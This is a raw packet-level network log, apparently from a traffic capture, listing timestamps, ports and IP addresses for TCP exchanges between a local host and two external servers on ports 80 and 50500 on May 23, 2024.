May 23, 2024 23:33:10.265782118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265796900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265814066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265835047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265846968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265856981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265893936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265913010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265927076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265943050 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265957117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.265974998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.265989065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266010046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266022921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266032934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266067028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266285896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266318083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266340971 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266350031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266360998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266382933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266396046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266416073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266434908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266449928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266468048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266494989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266503096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266537905 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266557932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266568899 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266582966 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266602993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266619921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266634941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266647100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266668081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.266684055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.266714096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.267539978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.267596960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.267746925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.267796993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.267801046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.267828941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.267843008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.267862082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.267884016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.267895937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.267903090 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.267929077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.267941952 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.267961025 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.267976999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.267995119 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268011093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268027067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268048048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268059969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268090963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268090963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268100977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268142939 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268142939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268193007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268193960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268243074 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268248081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268290043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268296957 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268330097 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268351078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268362045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268368959 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268398046 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268409967 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268429995 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268449068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268462896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268480062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268495083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268515110 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268528938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268538952 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268562078 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268579006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268594980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268614054 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268624067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268649101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268656969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268671989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268691063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268711090 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268723965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268734932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268757105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268769026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268790960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268810034 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268822908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268835068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268856049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268867016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268888950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268903971 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268922091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268938065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268954039 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.268969059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.268986940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269001961 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269020081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269038916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269052982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269063950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269085884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269099951 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269119024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269134998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269153118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269185066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269192934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269212961 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269218922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269227028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269268036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269268990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269303083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269318104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269354105 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269371986 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269404888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269423962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269435883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269448042 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269469976 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269481897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269501925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269519091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269535065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269550085 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269567013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269582987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269599915 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269617081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269633055 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269654036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269665956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269679070 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269705057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269715071 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269738913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269753933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269771099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269787073 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269805908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269826889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269840002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269855022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269871950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269885063 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269905090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269922018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269937992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269953012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.269969940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.269988060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.270014048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.350977898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.351103067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.351135015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.351139069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.351171970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.351181984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.351198912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.351233959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.351264954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.351331949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.351344109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.351344109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.351344109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.351380110 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354069948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354181051 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354208946 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354212999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354239941 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354263067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354274035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354306936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354326010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354338884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354351044 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354387045 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354403973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354435921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354454994 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354490042 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354721069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354753971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354773998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354787111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354799032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354820967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354834080 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354855061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.354857922 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354903936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.354985952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355019093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355037928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355051041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355065107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355097055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355101109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355133057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355149984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355165958 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355178118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355200052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355215073 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355253935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355257034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355289936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355308056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355335951 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355463028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355494976 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355516911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355523109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355536938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355556011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355571985 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355591059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355604887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355633974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355716944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355750084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355770111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355782032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355792999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355814934 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355827093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355848074 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355863094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355881929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355901957 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355914116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.355931997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.355956078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.356091976 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.356125116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.356142998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.356161118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.356168032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.356194973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.356215000 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.356228113 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.356237888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.356278896 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:10.361085892 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:10.361233950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:12.815282106 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:12.820389986 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:12.930490971 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:12.935594082 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.603492975 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.613904953 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.614084005 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.614115000 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.614132881 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.614150047 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.614202023 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.614518881 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.614995003 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.615183115 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.615319014 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.615454912 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.615504980 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.615537882 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.615550041 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.615572929 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.615614891 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.615855932 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.615896940 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.615928888 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.615943909 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.615962029 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.616005898 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.616674900 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.618783951 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.618830919 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.710380077 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.710532904 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.710566044 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.710695028 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.710767984 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.710803032 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.710897923 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.710906982 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.710932016 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.710938931 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.711587906 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.711622000 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.711658001 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.711690903 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.711728096 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.711728096 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.712421894 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.712457895 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.712483883 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.712533951 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.712568998 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.712583065 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.713340044 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.713373899 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.713391066 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.713407993 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.713449955 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.715223074 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.715753078 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.715801001 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.719959974 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.720793962 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.720829010 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.720880032 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.720938921 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.720938921 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.721209049 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.721241951 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.721275091 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.721307039 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.721374035 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.721374035 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.725625038 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.725657940 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.725703001 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.770339012 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.770502090 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:13.805872917 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.806035042 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.806065083 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:13.806197882 CEST	49730	50500	192.168.2.4	185.172.128.136
